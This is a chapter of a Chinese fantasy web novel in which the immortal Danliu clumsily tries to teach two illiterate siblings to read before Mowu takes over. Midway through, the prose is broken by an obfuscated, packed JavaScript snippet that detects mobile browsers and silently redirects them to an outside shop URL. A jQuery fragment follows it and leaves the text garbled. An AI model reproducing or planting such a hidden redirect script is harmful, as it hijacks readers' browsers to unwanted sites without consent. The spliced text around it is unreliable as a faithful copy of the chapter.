35. 丹流夫子
作品:《小庭落满霜》 明明昨日答应得庭逸好好的,今晨丹流踏入月庭的时候,庭舒还是被吓得满屋子找庭逸。
她大概以为自己装得很好,走一步便睨丹流一步。丹流吸取昨日的教训,目不斜视,就当没有发现这位“祖宗”的视线。
在她不知道多少次跑到院门口张望,丹流终于忍不住,叫她回屋好好坐下。
庭舒一坐下,脸色就更难看,如坐针毡,坐在软榻上扭来扭去的。
丹流:……
好胆小的一个人。
想起那日庭舒对自己厌恶的视线,丹流不由得感叹这个黑心的软柿子。
坐立难安的时间总是会格外漫长,旁观别人坐立难安的时间却是叫人格外享受。
时间过了没多久,月庭的院门被推开。庭舒如临大赦,赶紧撒开腿去迎接他。
“诶、诶!跑慢点!”庭逸赶紧放下手中的承托,蹲下身接住迎面跑来的庭舒,他摸了摸庭舒的额头,“怎么出了这么多汗?”
话刚说完,庭逸就看见端坐在屋中的丹流。
他立刻明白了庭舒的汗是怎么来的了。
迎着丹流的视线,庭逸一手拉着庭舒,一手端着承托,缓缓走进门。
丹流挑眉,问:“哪儿去了?”
“我去给阿舒拿早饭。”
庭逸的承托上,放着一碗山药羹。
他观察着丹流的神色,见他面色无异,赶紧将山药羹递给了庭舒:“阿舒先去吃早饭。小心烫。”
一听见这话,庭舒赶紧点头,迫不及待就像端着碗离开丹流的视线之中,但她太急,刚一触碰到那碗就被烫到,轻呼了声。
庭逸被吓得激灵,仔仔细细检查了一遍庭舒的手,见她无碍,便又拉着她到院子的一棵花树下。
“就在这儿吃好吗?”
此处远离丹流,实在是个适合吃饭的好地方。庭舒赶紧点头。
庭逸将山药羹放在了石桌上,摸了摸庭舒的头,慢慢走回屋。
一直等待兄妹二人的丹流见庭逸过来,挑了挑眉:“终于把你妹妹安顿好了?”
庭逸点头:“丹流仙君是有什么事吗?”
“嗯,我来教她读书。”丹流看着屋外的庭舒,轻描淡写。
他话音刚落,院子中忽然传来碗碟磕碰的声音。庭逸还以为庭舒又出什么事了,头都还没来得及转,就已经起身往院子那边走了几步。
等他定睛一看,发现庭舒嘴边全是羹汤。
原来,庭舒一直在外边偷听丹流和庭逸的对话,听不真切的对话中,那句说要来教她读书的话格外清晰。庭舒被这句话吓得不轻,吓得不小心将头都埋进了山药羹里。
她冲庭逸嘿嘿一笑,一看就没事。
这般,庭逸放下心来。他的注意力回到了自己身上,发现自己还维持着要冲出门去的姿态,有些尴尬。
“额……”庭逸慢慢坐了回去。
“我发现你特别担心你妹妹。”
明明庭舒昏迷那三个月,庭逸就天天往月庭跑,丹流又不是不知道,还跟着庭逸来了月庭好几回——庭舒醒来的时候,庭逸一脸焦急的样子,他也是看到了的。但丹流仿佛是第一次发现他们的兄妹情深,脸上带着新奇。
庭逸:“我是哥哥。”
在丹流眼中,他的回答毫无新意。
闻言,丹流又靠回了椅背上。
庭逸心里琢磨着丹流说要来教庭舒读书的话——多读书的确好,但想着庭舒今天一见到丹流就满头的汗,犹豫片刻道:“阿舒还小,读书的事……可以缓一缓吗?”
“那不行!”丹流反驳,“我阿姐吩咐了,我可不敢阳奉阴违。”
话虽如此,但丹流脸上看不见丝毫害怕。
庭逸只能答应。
事情就这么定了下来,两人就没有说话了。两个人都看着庭舒在院子里吃早饭,看得目不转睛。
庭舒被这两道视线盯得如坐针毡,饭还没吃完,她就放下了勺子。
“……我吃好了。”脸上咧起一个勉强得可怕的笑容。
庭逸看到她这副样子,被逗笑。
庭逸走到庭舒身边,替她擦干净了嘴角。他利索的收拾好了东西,“哥哥帮不了你了。”他的表情像是幸灾乐祸一般。
庭舒的表情瞬间变得难以置信,她伸手想去抓庭逸的衣摆,但但庭逸赶紧带着那半碗山药羹往外走。
“哥……”
“你别走!”丹流不知什么时候走到了门口,叫住了庭逸,“你也留下。”
——————————
读书这件事,除了那些天赋异禀的,还有严于律己的,其他人学着都是无趣。
庭逸,五岁开始跟着父母务农,劳累了快要十年;庭舒,自幼体弱多病,疾病缠身——步入第七峰之后,两人都不必遭受这些,但如今,两人都坐在丹流对面,对着面前那本书沉默不语。
两个大字不识的人,对着这天书昏昏欲睡。
“喂喂喂!”丹流敲了敲桌子,“不是才睡醒没多久吗?”
兄妹二人被惊回神,睡眼惺忪的目光不约而同都落在了丹流身上。
“……”丹流无语。
这本三字经,丹流一字一句的跟他们兄妹两个讲了有小半个时辰,连一页的字都还没有认全。
第一次当夫子,丹流就感觉自己要心梗而亡。
他看着兄妹两个无论是神情还是容貌都相似的脸,“这字很难吗?”他草草翻看了两页,实在不知这兄妹两个为什么还不认得这些字。
庭舒和庭逸闻言,都羞得低下了头。
偏生最先开口的,是在二人之中最怕丹流的庭舒。她声音很小,“就是认不得嘛……”
初生牛犊不怕虎。庭逸赶忙点头附和自己的好妹妹。
“丹流仙君,这实在是勉强我们了……”
庭逸也不知道,明明说好的是来教庭舒读书习字,为什么丹流要把自己给留下来。原本,庭逸还在笑庭舒要独自面对丹流,但他也知道,让庭舒多读点书是好的。
可这书自己也要跟着读了,庭逸才发现这读书有多难。
好在自己是留下了,不让庭舒既要面对读书的苦,又要面对对丹流恐惧。
丹流仿佛听了什么笑话,“不就这几个字嘛!你们有没有认真识字!?”
丹流觉得自己如今就差仰天长啸,怒吼上天不公,让他得了这么两个学生。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920391|188563||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他把书一扔,摆出了一幅放任他们不管的样子出来了。
三个人就这么坐着,竟是没有一个人是高兴的。
诡异的气氛持续良久,直到又一阵推门声打破了这沉默。
“果然!”来人语气爽朗。
见又来了人,庭逸拉着庭舒想要起身,在刚有动作的时候,就被谟无制止了。
“向红和丹瑛叫我来看看你这个老师当得如何。”他看向丹流,幸灾乐祸的神色毫不遮掩,“现在看来你当得十分、非常、特别的不尽人意啊……”
谟无的话说着说着,就已经走到了庭舒和庭逸兄妹两人之间,低头去看他们面前的书。
“你这刚来就让他们背三字经啊……”
丹流冷冷道:“背到了不就认得了?”
“字都认不得还背!”谟无一把推开了丹流,大马金刀坐到了丹流原本的位置,“好好学着!”
谟无在人间的时候还是秀才出身,亲自教导了自己几个儿女和两个孙子,经验可比丹流这个孤身一人活了几百年的老小子多多了。
他将面前兄妹两个人的书抽出来,也不知是故意还是有意,都盯着丹流的怀里扔,然后拿出笔墨纸砚,洋洋洒洒在纸上写了几个字。
“看看!”
庭舒和庭逸依言盯着看了一会儿。
趁两人不注意,谟无以迅雷不及掩耳之势将这张纸拿开,将笔递过去:“来,你们依葫芦画瓢写一遍——谁先来?”
“……”
兄妹二人对视一眼,几乎同一时间开口——
“我来!”
“哥哥来……”
庭逸不可思议看向庭舒,仿佛遭受了背叛一般。
庭舒自觉心虚缩了缩脖子,脸几乎要埋在桌子下面了。
庭逸自然不会怪庭舒。他接过笔,在谟无递来的纸上,艰难的将那几个字画了出来。
“这么奇形怪状……”谟无打量了庭逸写的几个字,看了半天,勉强点头,“至少看得出来!”
庭逸不自觉松了口气。
谟无随即看向了庭舒,大抵是来的时候丹瑛和向红两个人都嘱咐过他,他一面对庭舒,就扬起了微笑。
谟无语气缓缓:“该你咯。”倒像是在讲鬼故事。
庭舒讪笑,接过笔,像是握勺子般握着那只毛笔,一笔一划。
写完,谟无同样看了两眼,最终认真点头:“嗯……不错!颇有几分我当年的风范!”
闻言,一直在旁看着的丹流终于忍不住,上前将谟无揪了起来。
“诶诶诶!你干什么!?”
丹流仿佛听不见谟无的叫声,揪着谟无的衣领将他扔开,重新坐回了自己的位置。
他学着谟无的样子,依旧潇洒提笔写下了几个比谟无刚刚写的还要简单的字,一言不发,推到了兄妹两人面前。
“一、二、三……十。”话毕,丹流立即将纸揉成一团。
在这张纸被他扔开的瞬间,桌上又出现了两张平整铺开的宣纸,同时,两套笔墨砚台出现在了庭舒和庭逸两人面前。
丹流瞥了一眼身后的谟无,随即看向面前两人。
他双手抱胸,志在必得:“写吧。”

